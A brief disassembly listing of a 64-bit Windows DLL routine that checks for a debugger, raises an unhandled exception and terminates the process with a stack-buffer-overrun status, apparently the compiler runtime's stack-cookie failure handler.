mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x180ebe378], eax
mov ecx, 1
call fcn.180004d84
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x1800082e0]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x180ebe378], 0
jne 0x18000214a
mov ecx, 1
call fcn.180004d84
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret